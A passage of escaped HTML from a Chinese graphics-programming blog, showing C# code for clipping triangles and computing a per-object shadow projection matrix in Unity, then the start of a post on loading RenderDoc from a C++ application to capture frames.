class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 第一个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 把下一个三角形拷贝到列表最后新的位置上,然后把新三角形数据写入到下个位置\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 新的三角形必定三个点都在边界内,所以 ++triangleIndex 跳过检查\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 第二个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// EdgeType.Min =\u0026gt; p[edge.ComponentIndex] \u0026gt; edge.Value\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// EdgeType.Max =\u0026gt; p[edge.ComponentIndex] \u0026lt; edge.Value\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eselect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"计算-Projection-Matrix\"\u003e计算 Projection Matrix\u003ca class=\"headerlink\" href=\"#计算-Projection-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e阴影包围盒在 XY 方向上是中心对称的,因为光源 View Space 是以包围盒中心为原点的(参考前面 View Matrix 的计算)。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOrtho\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"动态计算包围盒-vs-静态包围盒\"\u003e动态计算包围盒 vs 静态包围盒\u003ca class=\"headerlink\" href=\"#动态计算包围盒-vs-静态包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在我的实现中,角色包围盒是根据 \u003ccode\u003eRenderer.bounds\u003c/code\u003e 动态计算的。有人说,动态计算会使包围盒一直变化,导致投影矩阵一直变化,进而出现阴影抖动,所以直接在 Inspector 里指定一个固定大小的包围盒更好。\u003c/p\u003e\n\u003cp\u003e我这样写的初衷是减少插件暴露出去的参数数量,降低使用门槛。不然,总有人不看文档,乱填参数,然后来私信问我。固定大小的包围盒要是设置的不够大,会导致阴影不完整。\u003c/p\u003e\n\u003cp\u003e另外,动态计算的包围盒不会一直变化,只有 \u003ccode\u003eRenderer.bounds\u003c/code\u003e 变了,计算结果才会变(可以看上面的动图)。\u003ccode\u003eRenderer.bounds\u003c/code\u003e 通常只在播放 \u003ccode\u003eAnimationClip\u003c/code\u003e 时才会变化,角色在做各种动作时,阴影肯定会有一点抖动,包围盒的轻微变化带来的影响,肉眼看不出来。\u003c/p\u003e\n\u003cp\u003e不过,能用静态包围盒还是用静态的,毕竟计算量少,代码也好写。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/per-object-shadow-improvement/"},{"title":"集成 RenderDoc","time":"2024-08-20T15:53:05Z","content":"\u003ch1 id=\"集成-RenderDoc\"\u003e集成 RenderDoc\u003ca class=\"headerlink\" href=\"#集成-RenderDoc\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e实现像 Unity 一样,直接从自己程序里调起 RenderDoc 截帧的功能。参考文档:\u003ca href=\"https://renderdoc.org/docs/in_application_api.html\"\u003eIn-application API — RenderDoc documentation\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"引入头文件\"\u003e引入头文件\u003ca class=\"headerlink\" href=\"#引入头文件\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在 RenderDoc 的安装目录里,有 \u003ccode\u003erenderdoc_app.h\u003c/code\u003e,复制进项目即可。然后,写一个类简单封装一下。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efinal\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eLoad\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003etuple\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ecpp 文件里\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_API_1_5_0\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"加载\"\u003e加载\u003ca class=\"headerlink\" href=\"#加载\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cmark\u003e在创建图形设备前\u003c/mark\u003e,枚举常用的 RenderDoc 安装位置,动态加载安装目录里的 \u003ccode\u003erenderdoc.dll\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::GetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 常用安装位置,可以多枚举几个\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;C:\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eProgram Files\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003erenderdoc.dll\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e如果 \u003ccode\u003eLoadLibrary\u003c/code\u003e 前,\u003ccode\u003erenderdoc.dll\u003c/code\u003e 已经被加载,说明用户是用 RenderDoc 启动 App 的,就不需要再手动 load 了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::IsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::Load\u003c/span\u003e\u003cspan 